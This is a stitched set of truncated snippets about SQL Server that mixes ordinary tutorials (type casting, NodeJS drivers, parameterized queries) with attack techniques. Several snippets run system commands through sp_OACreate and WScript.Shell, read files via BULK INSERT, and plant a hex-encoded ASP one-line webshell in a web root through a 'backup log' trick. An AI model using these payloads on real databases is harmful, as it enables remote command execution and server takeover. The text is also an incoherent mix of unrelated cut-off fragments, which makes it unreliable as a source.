So, by default, we need to convert OrderQty which is numeric into a string to be able to concatenate the string with the number. To do that, we will try different methods. CAST Function to convert int to string The following example shows how to use the CAST function. In this example,...
/* 执行命令并将执行结果写入文件 */ DECLARE @object INT EXEC sp_OACreate 'WScript.Shell', @object OUTPUT -- exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@object output EXEC sp_OAMethod @object, 'run', NULL, 'C:\Windows\System32\cmd.exe /c whoami >C:\inetpub\wwwr...
defstr2hex(string):hexstr=binascii.b2a_hex(bytes(string,encoding='utf-8'))out=bytes("0x",encoding='utf-8')out=out+hexstrprint(out)defb2a(filename):withopen(filename,'rb')asf:hexstr=binascii.b2a_hex(f.read())out=bytes("0x",encoding='utf-8')out=out+hexstrprint(out)if__name_...
foreach (string i in word.Split('|')){ if (str.ToLower().IndexOf(i + " ") > -1 || (str.ToLower().IndexOf(" " + i) > -1)){ return true;} } return false;} ①在MSSQL中，1.定义的参数使用 @；2.传参类型可以直接在 new SqlParameter("@id",SqlDbType.Int) ...
/* @precommand and @postcommand may be used to force a single result set via a temp table. */ /* Preprocessor won't replace within quotes so have to use str(). */ declare @mscat nvarchar(12) select @mscat = ltrim(str(convert(int, 0x0002))) ...
declare @shell int exec sp_oacreate'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe/c whoami>c:\\1.txt'; 尝试读文件,原理是创建一个表,把数据存进表,再读取表的内容: drop table cmd;create tablecmd(a text);BULKINSERTcmdFROM'c:\1.txt'WITH...
最近看了下NodeJS下连接SQLServer的一些示例,发现NodeJs中有两个模块,一个是mssql,其npm地址是:https://www.npmjs.com/package/mssql;另外一个是:tedious,其npm地址是:https://www.npmjs.com/package/tedious,github对应的地址是:https://github.com/tediousjs/tedious 一、使用mssql连接SQLServer数据库 1、创...
public List<Book> selectSomeBook(String[] conditions,int n) { String sql = "select * from book"; List<Object> params = new ArrayList<>(); for (String s:conditions) { params.add("%"+s+"%"); } switch (n){ case 1: sql = "select * from book where name like ?"; ...
string[] values=str.Value.Split('|'); p.Name=values[0]; p.Age=Convert.ToInt32(values[1]); p.Sex=Convert.ToChar(values[2]); returnp; } publicoverridestringToString() { if(this.IsNull) return"NULL"; else returnstring.Format("{0}|{1}|{2}", Name, Age.ToString(), Sex); ...
drop table test_tmp;create table test_tmp(a image);backup log mydb to disk='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;insert into test_tmp(a) values (0x3c256578656375746528726571756573742822636d64222929253e);backup log mydb to disk = 'C:/intepub/wwwroot/www.demo1.com/123.asp...